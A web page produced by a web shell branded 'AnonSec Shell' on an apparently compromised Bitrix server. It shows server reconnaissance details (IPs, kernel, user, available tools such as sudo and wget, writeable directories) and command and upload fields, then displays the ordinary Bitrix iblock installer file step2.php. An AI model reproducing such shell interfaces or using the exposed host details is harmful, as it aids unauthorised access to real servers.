AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.118.207.25
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/modules/iblock/install/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/modules/iblock/install//step2.php
<?php
/** @global CMain $APPLICATION */

use Bitrix\Main\Loader;

if (!check_bitrix_sessid())
{
	return;
}

global $obModule;
if (!isset($obModule) || !is_object($obModule))
{
	return;
}

IncludeModuleLangFile(__FILE__);

if (!Loader::includeModule('iblock'))
{
	return;
}

global $MESS;

$bReWriteAdditionalFiles_n = ($_REQUEST['public_rewrite_n'] ?? '') === 'Y';
$bReWriteAdditionalFiles_c = ($_REQUEST['public_rewrite_c'] ?? '') === 'Y';

function CheckIBlockType($ID, $SECTIONS = "Y")
{
	$obType = new CIBlockType;
	$rsType = $obType->GetByID($ID);
	if($arType = $rsType->Fetch())
	{
		return $arType["ID"];
	}
	else
	{
		$arFields = array(
			"ID" => $ID,
			"SECTIONS" => $SECTIONS,
			"LANG" => array(),
		);
		$rsLanguages = CLanguage::GetList();
		while($arLanguage = $rsLanguages->Fetch())
		{
			$MY_MESS = IncludeModuleLangFile(__FILE__, $arLanguage["LID"], true);
			$arFields["LANG"][$arLanguage["LID"]] =  array(
				"NAME" => $MY_MESS["IBLOCK_INSTALL_".mb_strtoupper($ID)."_NAME"],
				"SECTION_NAME" => $MY_MESS["IBLOCK_INSTALL_".mb_strtoupper($ID)."_SECTIONS_NAME"],
				"ELEMENT_NAME" => $MY_MESS["IBLOCK_INSTALL_".mb_strtoupper($ID)."_ELEMENTS_NAME"],
			);
		}
		$result = $obType->Add($arFields);
		if($result)
			return $result;
		else
			return false;
	}
}

$createNews = ($_REQUEST['news'] ?? '') === 'Y';
$news_dir = trim((string)$_REQUEST['news_dir'] ?? 'news');
$createCatalog = ($_REQUEST['catalog'] ?? '') === 'Y';
$catalog_dir = trim((string)($_REQUEST['catalog_dir'] ?? 'catalog'));

if($obModule->errors===false)
{
	if ($createNews && CheckIBlockType("news", "N"))
	{
		//This makes translation checker happy
		//$MY_MESS['IBLOCK_INSTALL_NEWS_NAME']
		//$MY_MESS['IBLOCK_INSTALL_NEWS_SECTIONS_NAME']
		//$MY_MESS['IBLOCK_INSTALL_NEWS_ELEMENTS_NAME']
		//$MY_MESS['IBLOCK_INSTALL_NEWS_SECTION_NAME']
		//$MY_MESS['IBLOCK_INSTALL_NEWS_ELEMENT_NAME']
		$sites = CSite::GetList('', '', Array("ACTIVE"=>"Y"));
		while($site = $sites->Fetch())
		{
			$MY_MESS = IncludeModuleLangFile(__FILE__, $site["LANGUAGE_ID"], true);

			$obBlock = new CIBlock;
			$arFields = array(
				"LID" => $site["LID"],
				"NAME" => GetMessage("IBLOCK_INSTALL_COMPANY_NEWS"),
				"IBLOCK_TYPE_ID" => "news",
				"CODE" => "comp_news",
				"LIST_PAGE_URL" => "#SITE_DIR#/".$news_dir."/index.php",
				"DETAIL_PAGE_URL" => "#SITE_DIR#/".$news_dir."/index.php?news=#ID#",
				"ELEMENTS_NAME" => $MY_MESS["IBLOCK_INSTALL_NEWS_ELEMENTS_NAME"],
				"ELEMENT_NAME" => $MY_MESS["IBLOCK_INSTALL_NEWS_ELEMENT_NAME"],
				"GROUP_ID" => CIBlock::getDefaultRights(),
			);
			if($id = $obBlock->Add($arFields))
			{
				$obBlockProperty = new CIBlockProperty;
				$arFields = array(
					"IBLOCK_ID" => $id,
					"NAME" => GetMessage("IBLOCK_INSTALL_SOURCE"),
					"CODE" => "SOURCE",
					"COL_COUNT" => "30",
				);
				$obBlockProperty->Add($arFields);
			}

			if($news_dir !== '')
			{
				$source = $_SERVER['DOCUMENT_ROOT']."/bitrix/modules/iblock/install/public/news/";
				$target = $site['ABS_DOC_ROOT'].$site["DIR"].$news_dir."/";
				if(file_exists($source))
				{
					CheckDirPath($target);
					$dh = opendir($source);
					while($file = readdir($dh))
					{
						if($file == "." || $file == "..")
							continue;
						if($bReWriteAdditionalFiles_n || !file_exists($target.$file))
						{
							$fh = fopen($source.$file, "rb");
							$php_source = fread($fh, filesize($source.$file));
							fclose($fh);
							if(preg_match_all('/GetMessage\("(.*?)"\)/', $php_source, $matches))
							{
								IncludeModuleLangFile($source.$file, $site["LANGUAGE_ID"]);
								$MESS["IBLOCK_INSTALL_PUBLIC_IBLOCK_ID"] = $id;
								foreach($matches[0] as $i => $text)
								{
									$php_source = str_replace(
										$text,
										'"'.GetMessage($matches[1][$i]).'"',
										$php_source
									);
								}
							}
							$fh = fopen($target.$file, "wb");
							fwrite($fh, $php_source);
							fclose($fh);
							@chmod($target.$file, BX_FILE_PERMISSIONS);
						}
					}
				}
			}
		}
	}

	if ($createCatalog && CheckIBlockType("catalog", "Y"))
	{
		//This makes translation checker happy
		//$MY_MESS['IBLOCK_INSTALL_CATALOG_NAME']
		//$MY_MESS['IBLOCK_INSTALL_CATALOG_SECTIONS_NAME']
		//$MY_MESS['IBLOCK_INSTALL_CATALOG_ELEMENTS_NAME']
		//$MY_MESS['IBLOCK_INSTALL_CATALOG_SECTION_NAME']
		//$MY_MESS['IBLOCK_INSTALL_CATALOG_ELEMENT_NAME']
		$sites = CSite::GetList('', '', Array("ACTIVE"=>"Y"));
		while($site = $sites->Fetch())
		{
			$MY_MESS = IncludeModuleLangFile(__FILE__, $site["LANGUAGE_ID"], true);

			$obBlock = new CIBlock;
			$arFields = array(
				"LID" => $site["LID"],
				"NAME" => GetMessage("IBLOCK_INSTALL_PRODUCTS"),
				"IBLOCK_TYPE_ID" => "catalog",
				"CODE" => "comp_catalog",
				"LIST_PAGE_URL" => "#SITE_DIR#/".$catalog_dir."/index.php",
				"DETAIL_PAGE_URL" => "#SITE_DIR#/".$catalog_dir."/index.php?ID=#ID#",
				"ELEMENTS_NAME" => $MY_MESS["IBLOCK_INSTALL_CATALOG_ELEMENTS_NAME"],
				"ELEMENT_NAME" => $MY_MESS["IBLOCK_INSTALL_CATALOG_ELEMENT_NAME"],
				"SECTIONS_NAME" => $MY_MESS["IBLOCK_INSTALL_CATALOG_SECTIONS_NAME"],
				"SECTION_NAME" => $MY_MESS["IBLOCK_INSTALL_CATALOG_SECTION_NAME"],
				"GROUP_ID" => CIBlock::getDefaultRights(),
			);
			if($id = $obBlock->Add($arFields))
			{
				$obBlockProperty = new CIBlockProperty;
				$arFields = array(
					"IBLOCK_ID" => $id,
					"NAME" => GetMessage("IBLOCK_INSTALL_SIMILAR_PRODUCTS"),
					"CODE" => "ANALOG",
					"PROPERTY_TYPE" => "E",
					"MULTIPLE" => "Y",
					"LINK_IBLOCK_ID" => $id,
				);
				$obBlockProperty->Add($arFields);
			}

			if ($catalog_dir !== '')
			{
				$source = $_SERVER['DOCUMENT_ROOT']."/bitrix/modules/iblock/install/public/catalog/";
				$target = $site['ABS_DOC_ROOT'].$site["DIR"].$catalog_dir."/";
				if(file_exists($source))
				{
					CheckDirPath($target);
					$dh = opendir($source);
					while($file = readdir($dh))
					{
						if($file == "." || $file == "..")
							continue;
						if($bReWriteAdditionalFiles_c || !file_exists($target.$file))
						{
							$fh = fopen($source.$file, "rb");
							$php_source = fread($fh, filesize($source.$file));
							fclose($fh);
							if(preg_match_all('/GetMessage\("(.*?)"\)/', $php_source, $matches))
							{
								IncludeModuleLangFile($source.$file, $site["LANGUAGE_ID"]);
								$MESS["IBLOCK_INSTALL_PUBLIC_IBLOCK_ID"] = $id;
								foreach($matches[0] as $i => $text)
								{
									$php_source = str_replace(
										$text,
										'"'.GetMessage($matches[1][$i]).'"',
										$php_source
									);
								}
							}
							$fh = fopen($target.$file, "wb");
							fwrite($fh, $php_source);
							fclose($fh);
							@chmod($target.$file, BX_FILE_PERMISSIONS);
						}
					}
				}
			}
		}
	}

}

if(!empty($obModule->errors) && is_array($obModule->errors)):
	CAdminMessage::ShowMessage(array(
		"TYPE"=>"ERROR",
		"MESSAGE" =>GetMessage("MOD_INST_ERR"),
		"DETAILS"=>implode("<br>", $obModule->errors),
		"HTML"=>true
	));
else:
	CAdminMessage::ShowNote(GetMessage("MOD_INST_OK"));
endif;

if($obModule->errors===false && $createNews && $news_dir !== ''):
?>
<p><?=GetMessage("IBLOCK_DEMO_DIR")?></p>
<table border="0" cellspacing="0" cellpadding="3">
	<tr>
		<td align="center"><p><b><?=GetMessage("IBLOCK_SITE")?></b></p></td>
		<td align="center"><p><b><?=GetMessage("IBLOCK_LINK")?></b></p></td>
	</tr>
	<?php
	$sites = CSite::GetList('', '', Array("ACTIVE"=>"Y"));
	while($site = $sites->Fetch())
	{
		$server = '';
		if ($site["SERVER_NAME"] <> '')
			$server .= "http://".$site["SERVER_NAME"];
		$url = $site["DIR"].$news_dir.'/';
		?>
		<tr>
			<td width="0%"><p>[<?=$site["ID"]?>] <?= htmlspecialcharsbx($site["NAME"]);?></p></td>
			<td width="0%"><p><a href="<?= htmlspecialcharsbx($server.$url);?>"><?= htmlspecialcharsEx($url);?></a></p></td>
		</tr>
		<?php
	}
	?>
</table>
<?php
endif;

if($obModule->errors===false && $createCatalog && $catalog_dir !== ''):
?>
<p><?=GetMessage("IBLOCK_DEMO_DIR")?></p>
<table border="0" cellspacing="0" cellpadding="3">
	<tr>
		<td align="center"><p><b><?=GetMessage("IBLOCK_SITE")?></b></p></td>
		<td align="center"><p><b><?=GetMessage("IBLOCK_LINK")?></b></p></td>
	</tr>
	<?php
	$sites = CSite::GetList('', '', Array("ACTIVE"=>"Y"));
	while($site = $sites->Fetch())
	{
		?>
		<tr>
			<td width="0%"><p>[<?=$site["ID"]?>] <?=htmlspecialcharsbx($site["NAME"])?></p></td>
			<td width="0%"><p><a href="<?= ($site["SERVER_NAME"] !== '' ? "http://" . $site["SERVER_NAME"] : '');?><?=$site["DIR"].$catalog_dir?>/"><?=$site["DIR"].$catalog_dir?>/</a></p></td>
		</tr>
		<?php
	}
	?>
</table>
<?php
endif;
?>
<form action="<?= $APPLICATION->GetCurPage()?>">
<p>
	<input type="hidden" name="lang" value="<?= LANGUAGE_ID; ?>">
	<input type="submit" name="" value="<?= htmlspecialcharsbx(GetMessage("MOD_BACK"))?>">
</p>
<form>

Anon7 - 2022
AnonSec Team